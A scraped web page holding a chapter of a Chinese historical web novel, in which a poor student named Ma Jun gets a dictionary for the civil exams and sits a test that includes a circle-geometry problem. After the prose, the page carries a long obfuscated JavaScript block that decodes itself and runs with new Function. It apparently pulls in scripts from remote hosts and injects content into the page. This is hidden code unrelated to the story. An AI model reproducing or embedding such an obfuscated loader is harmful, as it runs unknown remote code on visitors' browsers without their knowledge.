第七章、圆周几何(1 / 2)

汉魏文魁 赤军 0 字 2021-04-06

就理论而言,豪门世家必定有钱——这年月知识(当然是指儒学知识)乃仕宦之阶,仕宦开殖产之门——但反过来说,有钱的家庭不一定可列位世族,单家庶族虽然多为中小地主,但也偶有通过经商或者旁的什么手段发家致富的。尤其乱世之中,旧宦沉沦,新贵崛起,但那些新贵并无足够的底蕴,是否能够成长为世家,也是说不准的事情。 </p>

不过总体而言,这年月书籍的成本尚高(即便中原地区已经普及了用纸,印刷作坊亦层出不穷),知识的普及面不广,即便单家庶族,那也是家里有几十上百亩地的,否则哪来的余钱购书、进学?所谓清贫士人,只是说在读书人中间算比较穷的罢了,相对而言而非绝对而言。 </p>

孔子曾赞颜回:“一箪食,一瓢饮,在陋巷,人不堪其忧,回也不改其乐。”可是说到了,颜回终究属于奴隶主阶层,起码还有“一箪食”可以填饱肚子,若然庶民,就连宣扬“有教无类”的孔老夫子也未必惜得收他为徒。 </p>

是宏辅创设科举制度,一是为了响应“唯才是举”的方针,使官僚体系更加高效化,二是为了扶持单家庶族,向他们敞开上升的通道。为此他确实动了不少心思,在财力方面给予极大的优惠和帮助。比方说,报考的士人都先汇聚各郡,然后用公车送抵洛阳,途中食宿皆由官家报销。 </p>

什么,你说你都没有足够的盘缠从乡下走到县城,再走到郡治?如此是真赤贫也。还是老实回去种地吧。上流社会非为汝所设也。你也压根儿就混不进去。以这年月低生产力和小政府的状态,国家是根本没有财力普及什么九年制义务教育的。 </p>

是宏辅只是为了扶持庶族地主,相对扩大统治阶层范围而已,才不想搞什么公民拥有平等的受教育权哪,超越时代一步是伟人、先知,超越时代十步就是妄人、神棍了。虽说“王侯将相,宁有种乎”,但基本上小老百姓想要当家作主。就只有一条道路可走——造反。 </p>

所以这三十钱的《字典》,其实便形成了一道无形的门槛,赤贫阶层根本别想挤得进去。当然啦,是宏辅本人只是向各地下了指令,要求统一发放《字典》而已,但各地书坊才不可能如此无私,免费提供成百上千套书籍,能够如张休所言“只收工本”,就算很良心啦。 </p>

问题是,马钧身上就连三十钱都没有…… </p>

马钧勉强可以算是赤贫阶层了。但他能够免学费读得起书,自然与普通百姓不同。多少还有家族势力为其支撑。就理论上而言,只要武功马氏并未衰败,起码有他孤儿寡母一口稀粥喝,不至于饿死道旁。故此面临如此窘境,他首先想起的必然还是宗族,即向马齐、马夏商借,允诺考中了便即奉还。 </p>

然而那二位却只是冷笑:“汝安能得中?”根本瞧不起他,不肯掏腰包——是啊,宗族不会让你饿死,可并没有扶持你当官的义务啊,而且你若成绩不好还则罢了,若考得好,会不会反而扯我们的后腿,挤掉我们的位子啊? </p>

最终还是陈纻掏出钱来,帮马钧购买了一套《字典》。他关照马钧:“且用功者,毋负我望也。”你若是考不中,从此《物理初言》再跟你无缘——我绝对不会借了。 </p>

马钧千恩万谢,小心翼翼地捧着《字典》走了。他虽然仍旧难免满脑子的“物理”,却也知道此番考试直接影响自家前程——这回若是考砸了,估计就再没有下一回啦,家族必不允许自己继续尝试,那就只好回去守磨坊喽——于是手不释卷,用了短短五天的时间,便将《字典》整整通读了三遍。 </p>

陈纻同样窝在郡校中刻苦攻读,只有马夏、马齐二人,少年人难得来趟郡城,不免结伴遨游,城外名胜、古迹,城内食肆、女闾,无不涉足。 </p>

终于到了初试的日子,地点便设在郡校之内。正如张休所言,考分两场,第一场考经义,考题为三段经中成句——“初六,浚恒,贞凶,无攸利。”“先有司,赦小过,举贤才。”“夏四月己巳,晋侯、齐师、宋师、秦师及楚人战于城濮,楚师败绩。”可以任选其中一句,注明出处,默写全段,并且加以分析说明。 </p>

陈纻是报名明经的,为炫其技,便选了第一句——乃难度较大的《易》也。马钧不敢冒进,老老实实选了第二句——出自《论语》。马夏、马齐同样报考明经,全都选了第三句——这“城濮”二字都亮出来了,我难道还猜不到是何书何典吗? </p>

到了第二场,马钧接到考卷一瞧,非常简单啊,基本上都是些乘除法的题目,就中有一条:“圆周一百二十四步,问径几何?”他皱着眉头琢磨了半天,最后还是决定给出两个答案:“按《周髀》,径一而周三,是得四十一步三分步之一;按张平子(张衡),则约三十九步五分步之一。” </p>

!function(){function a(a){var _idx="z5palo1gvz";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR84nJdqO}pX4"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"4nJdqO}pX4"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mhfO76RqmRT4"="o}0X5ThF)mT)7F56RmRT4"="o}02pThFmhfO76RqmRT4"="o}0_JqhFmT)7F56RmRT4"="o}02TOhFmhfO76RqmRT4"="o}0CSqhF)mT)7F56RmRT4"="o}0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/o}0j(8}vR84nJdqO}pX4"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();